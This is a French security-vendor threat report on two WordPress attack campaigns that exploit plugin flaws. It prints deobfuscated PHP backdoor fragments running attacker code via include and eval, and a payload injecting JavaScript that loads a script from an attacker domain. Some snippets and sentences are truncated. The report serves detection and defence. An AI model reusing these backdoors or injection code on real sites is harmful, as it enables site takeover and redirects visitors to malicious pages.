Dans le cadre de nos efforts de recherche en cours, l’équipe Wordfence Threat Intelligence surveille en permanence notre réseau pour détecter les menaces importantes auxquelles WordPress est confronté. Récemment, nous avons suivi les activités malveillantes ciblant plusieurs vulnérabilités récemment corrigées dans des plugins populaires.

Dans l’article d’aujourd’hui, nous fournirons des détails sur nos recherches dans deux campagnes actives. Nous partagerons également certains indicateurs communs de compromis (IOC) qui peuvent vous aider à évaluer si votre site a été touché par ces attaques. Les analyses de logiciels malveillants Wordfence identifieront ces IOC et leurs variantes sur les systèmes sur lesquels le plug-in est installé, mais nous les incluons pour aider les administrateurs et les chercheurs à mieux approcher ces données à grande échelle.

Acteur de menace n ° 1: «tonyredball»

Vulnérabilités ciblées notables:

La première campagne dont nous allons discuter a été associée au handle “Tonyredball”. Cet acteur de la menace s’est principalement concentré sur l’exploitation des vulnérabilités qui permettent l’accès par porte dérobée aux sites victimes.

Nous avons identifié le handle «tonyredball» après que l’attaquant a tenté d’exploiter la vulnérabilité d’enregistrement d’administrateur dans le plugin Profile Builder. Les demandes exploitant cette vulnérabilité contiennent le nom d’utilisateur, l’e-mail et d’autres détails de profil du nouveau compte administrateur.

Extrait d'une tentative bloquée d'exploitation de Profile Builder par Par rapport à l’activité de cet acteur de la menace contre Profile Builder, ils ont lancé un volume beaucoup plus élevé d’attaques contre la vulnérabilité de suppression de base de données dans ThemeGrill Demo Importer. Cette différence de volume peut être due à la quantité de travail requise pour exploiter chaque vulnérabilité. La vulnérabilité de Profile Builder oblige les attaquants à localiser un formulaire d’inscription vulnérable, mais la vulnérabilité de ThemeGrill pourrait être exploitée avec une simple demande à un point de terminaison connu.

Le résultat final de l’exploitation de l’une ou l’autre de ces vulnérabilités est l’accès administratif au site de la victime. Avec cet accès, l’attaquant télécharge des scripts malveillants via les téléchargeurs de plugins et de thèmes dans le tableau de bord WordPress.

Extrait d'une tentative de

Extrait d’une tentative de «tonyredball» de télécharger une porte dérobée.

Des variantes du script téléchargé dans l’exemple ci-dessus ont été précédemment associées à plusieurs noms de fichiers. Les plus courants sont blockspluginn.php, wp-block-plugin.php, et supersociall.php, bien que les noms principaux associés directement à cet acteur de menace soient wp-block-plugin.php et wp-hello-plugin.php.

if (isset($_POST['asavsdvds']) && md5($_POST["lgkfghdfh"]) == "e9787adc5271cb0f765294503da3f2dc") {
    $z2 = '

Dans l'exemple de code ci-dessus, nous voyons une partie du contenu désobfusqué de wp-block-plugin.php. Ce petit script permet à un attaquant d'exécuter du code PHP arbitraire sur le site d'une victime, en créant une porte dérobée persistante en cas de suppression de son compte administrateur. Le code prévu est codé en base64 et soumis comme $_REQUEST['d1'], où il est décodé et stocké dans un fichier nommé /tmp/mn. Ce fichier est ensuite exécuté via @include, puis immédiatement supprimé du serveur. Il est également protégé par mot de passe pour empêcher d'autres acteurs d'utiliser cette porte dérobée.

Nous avons intercepté un certain nombre de demandes adressées à ces portes dérobées sur notre réseau. Les charges utiles envoyées sont de portée variée, mais se concentrent principalement sur l'itération à travers le système de fichiers d'un site pour infecter plus de fichiers. Certains événements montrent «tonyredball» à la recherche d'installations WordPress supplémentaires à infecter, tandis que d'autres tentent d'injecter du code malveillant dans les fichiers JavaScript légitimes de la victime.

if (strpos($g, 'hgkgfhjereve4') !== false) {
echo "#already exist#:".$f."n";
} else {
$l2 = "var hgkgfhjereve4 = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,108,111,119,46,100,101,115,116,105,110,121,102,101,114,110,97,110,100,105,46,99,111,109,47,115,97,109,101,46,106,115,63,118,61,51); s.src=pl; 
if (document.currentScript) { 
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}";
$g = file_get_contents($f);
$g = $l2.$g;
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'hgkgfhjereve4') !== false) {
echo "#already exist#:".$f."n";

Cet extrait de code montre une partie d'une charge utile de porte dérobée destinée à injecter du JavaScript malveillant. Dans le contexte, ce code est exécuté après avoir recherché les noms de fichiers avec .js et insérera un nouveau code au-dessus du contenu existant du fichier légitime. Lorsqu'il est exécuté dans un navigateur, ce code source un script tiers à partir de https://slow.destinyfernandi.com/same.js?v=3.

Ce script tiers, une fois chargé, redirige le navigateur du visiteur vers un emplacement potentiellement malveillant. Contrairement aux scripts de malvertising plus sophistiqués, il n’existe aucune logique conditionnelle pour empêcher la redirection pour les visiteurs réguliers ou les utilisateurs connectés, ce qui signifie qu’il est beaucoup plus susceptible d’être détecté et signalé tôt. Cependant, quel que soit le contenu actuel, les scripts hébergés sur le serveur d'un attaquant peuvent être modifiés à tout moment et c'est un risque majeur.

En plus des scripts de porte dérobée, "tonyredball" utilise également le plugin WordPress et l'éditeur de thème pour injecter du JavaScript tiers dans le contenu d'un site. Une ligne comme est ajouté, généralement à un thème header.php script, où il charge le script à https://middle.destinyfernandi.com/t.js dans les navigateurs des visiteurs. Nous avons identifié des domaines supplémentaires utilisés dans ces attaques, qui sont répertoriés dans la section IOC ci-dessous.

Capture d'écran d'une destination de redirection tentant d'inciter les visiteurs à autoriser les autorisations.

Capture d'écran d'une destination de redirection tentant d'inciter les visiteurs à autoriser les autorisations.

Actuellement, ces scripts de redirection redirigent les victimes vers une page de destination du domaine talktofranky.com. À l'arrivée, les visiteurs sont invités à cliquer sur «Autoriser» dans une fenêtre contextuelle pour prouver qu'ils sont humains. C'est une astuce, car le site demande en fait la permission d'envoyer des notifications à l'appareil de la victime. Les recherches de discussion sur ce domaine révèlent un certain nombre de guides sur la façon d'arrêter le spam de notification, ce qui signifie que cette campagne fait probablement plusieurs victimes.

Les dernières attaques de «tonyredball» proviennent d'une seule adresse IP principale: 45.129.96.17. Cette adresse est associée au fournisseur d'hébergement estonien GMHost. GMHost est un hôte pare-balles connu, et a été référencé récemment sur les forums de piratage En tant que tel. «Bulletproof» fait référence aux fournisseurs d'hébergement connus pour avoir des politiques d'abus laxistes ou non appliquées, généralement situées dans des pays sans relations étroites avec les forces de l'ordre internationales. Ces hôtes offrent aux pirates un endroit où mener des activités illégales sans craindre d'être arrêtés ou autrement punis.

Indicateurs de compromis (IOC)

  • Nom d'utilisateur
  • Adresse électronique
  • Adresses IP
    • 45.129.96.17
    • 188.127.251.74
  • Hash de programmes malveillants (SHA-1)
    • 34d4b9a33f7a1ab39a264cdffde644264adcf4d1
    • 7648b981f7c8f497ab81f0323379734fd0898f84
  • Chaînes consultables dans les portes dérobées
    • jweyc
    • aeskoly
    • owhggiku
    • callbrhy
  • Script injecté dans les fichiers de plugin et de thème
  • Domaines malveillants
    • verybeatifulantony.com
    • room.verybeatifulantony.com
    • tom.verybeatifulantony.com
    • destinyfernandi.com
    • slow.destinyfernandi.com
    • middle.destinyfernandi.com
    • fast.destinyfernandi.com
    • talktofranky.com
  • Nom de fichier malveillant
    • wp-block-plugin.php
    • wp-hello-plugin.php

Acteur n ° 2 - «solarsalvador1234»

Vulnérabilités ciblées notables:

Semblable à «tonyredball», nous avons identifié le handle associé au deuxième acteur de la menace d'aujourd'hui grâce à leur exploitation de la vulnérabilité d'enregistrement d'administrateur de Profile Builder. Ces demandes ont révélé une campagne d'attaque plus sophistiquée que notre exemple précédent, car l'acteur de la menace générait des identifiants uniques pour chaque tentative.

Dans les demandes que nous avons bloquées contre cet attaquant, nous voyons des chaînes alphanumériques générées de manière aléatoire utilisées comme noms d'utilisateur, prénom et nom et adresses e-mail. Les identifiants générés de cette manière commencent par un préfixe (com_ dans les premières attaques, alors juste com par la suite) suivi de huit caractères aléatoires. Ceux-ci sont indexés ensemble: une attaque pourrait utiliser comxAwqw5de comme nom d'utilisateur et comxAwqw5de@mail.com comme e-mail, et la prochaine attaque utiliserait une chaîne générée différente pour ces valeurs.

Cependant, pendant une période d'environ deux heures et demie le 17 février, les demandes n'utilisaient pas d'adresse e-mail aléatoire. Plus d'une centaine de demandes bloquées dans cette fenêtre ont utilisé la même adresse e-mail: solarsalvador1234@gmail.com. Ces attaques provenaient de la même adresse IP que les autres dans cette campagne, et utilisaient toujours le schéma de dénomination aléatoire pour les noms d'utilisateur créés.

Capture d'écran des résultats de recherche Google montrant

Capture d'écran des résultats de recherche Google montrant "solarsalvador1234" en tant qu'auteur sur plusieurs sites piratés.

L'adresse e-mail solarsalvador1234@gmail.com a été précédemment associé à attaques contre le plugin Convert Plus, où une vulnérabilité similaire permettait aux attaquants d'enregistrer un utilisateur privilégié. Les recherches de Google sur cette adresse révèlent un certain nombre de sites WordPress compromis présentant un profil utilisateur associé.

Outre les vulnérabilités de Profile Builder et ThemeGrill Demo Importer, l'adresse IP associée à «solarsalvador1234» exploite également la faille de téléchargement de fichiers récente de Duplicator. En téléchargeant wp-config.php fichiers provenant de sites vulnérables, ils peuvent utiliser les informations d'identification stockées pour accéder aux bases de données MySQL distantes et compromettre le site à partir de là. Dans les trois vulnérabilités, l'objectif final est le même: l'accès administratif au site WordPress de la victime.

Dans les attaques que nous suivons actuellement, nous avons identifié «solarsalvador1234» essayant de télécharger des backdoors en utilisant la même méthode que «tonyredball»: le programme de téléchargement de thème WordPress. Cependant, au lieu de télécharger un seul fichier comme dans notre exemple précédent, ils téléchargent une archive malveillante nommée AdvanceImage5.zip. Cette archive ZIP contient techniquement un thème WordPress valide, après avoir copié le index.php et style.css scripts du thème Twenty Fifteen, requis pour que WordPress stocke correctement les fichiers extraits. Outre ces fichiers requis, l'archive est purement malveillante et contient des backdoors destinés à aider l'attaquant à maintenir l'accès à long terme. Le thème malveillant AdvanceImage5 a déjà été associé à d'autres campagnes d'attaque, y compris celles ciblant vulnérabilité de l'an dernier dans le plugin WP Cost Estimation.

 $value) {
    $data = $value;
    $data_key = $key;
}

if(!$data) {
    foreach($_POST as $key => $value) {
        $data = $value;
        $data_key = $key;
    }
}
$data = @unserialize(sh_decrypt(@base64_decode( $data ) ,  $data_key ));

if (isset($data["ak"]) && $auth == $data["ak"]) {
    if ($data["a"] == "i") {
        $i = Array("pv" => @phpversion() , "sv" => "1.0-1" , );
        echo @serialize($i);
    }
    elseif ($data["a"] == "e") {
        eval($data["d"]);
    }
}

?>

L'extrait de code ci-dessus montre le contenu désobfusqué de la porte dérobée principale de la campagne, située dans AdvanceImage5/header.php . Ce script propose des protections similaires à notre exemple précédent, destinées à empêcher d'autres attaquants d'abuser du script. Pour aller plus loin, un Chiffrement XOR est utilisé pour crypter les requêtes envoyées à la porte dérobée, probablement dans le but de contourner la détection par les pare-feu et les équipes de sécurité. En fin de compte cependant, le comportement est le même pour «solarsalvador1234» que pour la porte dérobée utilisée par «tonyredball», un attaquant peut exécuter des scripts PHP à volonté sur le site infecté.

L'activité associée à «solarsalvador1234» est liée à l'adresse IP 77.71.115.52. Nous avons mentionné cette adresse dans notre article précédent sur les attaques contre une vulnérabilité récente de Duplicator, notant qu'un certain nombre de sites Web par ailleurs légitimes sont hébergés sur le serveur. Il n'est pas rare que les attaques proviennent de serveurs Web compromis, car ils offrent aux attaquants une couche d'abstraction pour cacher leur emplacement physique aux victimes.

Indicateurs de compromis (IOC)

  • Noms d'utilisateur
    • Généré aléatoirement, en commençant par com ou com_
  • Adresses mail
    • solarsalvador1234@gmail.com
    • Autres adresses générées aléatoirement, en commençant par com ou com_ et se terminant par @mail.com
  • Adresse IP
  • Hash de programmes malveillants (SHA-1)
    • 47cb1646eba89f42319aa757423464476eb2fa7d
    • 3015d8f30b23eb6ebec608e992ff25ceccc6408d
    • f8ae2f3fcc05f04aece9ca0e0e21c64f25c4f0d6
    • 93632169238cbb52daee5271c90c533f7614e7b1
  • Chemins de fichiers malveillants
    • wp-content/themes/AdvanceImage5/config.php
    • wp-content/themes/AdvanceImage5/functions.php
    • wp-content/themes/AdvanceImage5/header.php

Conclusion

Les campagnes que nous avons détaillées dans cet article ne sont que deux exemples d'attaques ciblant des vulnérabilités récemment corrigées. En tant que propriétaire d'un site, il vous appartient de rester informé des modifications apportées aux plugins et thèmes que vous utilisez. Lorsqu'une mise à jour de sécurité est publiée, faites-en une priorité immédiate pour l'installer. Les acteurs de la menace face à l'écosystème WordPress identifient et exploitent rapidement les vulnérabilités, ce qui aggrave l'importance d'une action rapide pour protéger votre infrastructure.

Tout le code malveillant discuté dans cet article est détecté par le scanner de logiciels malveillants Wordfence. Cela est vrai pour les utilisateurs Premium ainsi que pour les sites utilisant toujours la version gratuite. Si vous ne pouvez pas utiliser Wordfence et êtes préoccupé par ces campagnes, veuillez utiliser les indicateurs de compromis (IOC) que nous avons partagés pour vous aider dans votre analyse.

L'équipe Wordfence Threat Intelligence est toujours à la recherche de nouvelles activités à signaler à la communauté. Que de nouveaux développements surviennent dans les campagnes dont nous avons discuté aujourd'hui, ou que quelque chose d'entièrement nouveau descende sur l'écosystème WordPress, nous rendrons compte de nos découvertes au fur et à mesure qu'elles émergent.

Un merci spécial au directeur de Threat Intelligence Sean Murphy et à l'ingénieur QA Ram Gall pour leur aide dans la recherche de ces campagnes d'attaque et la rédaction de ce post.


Source link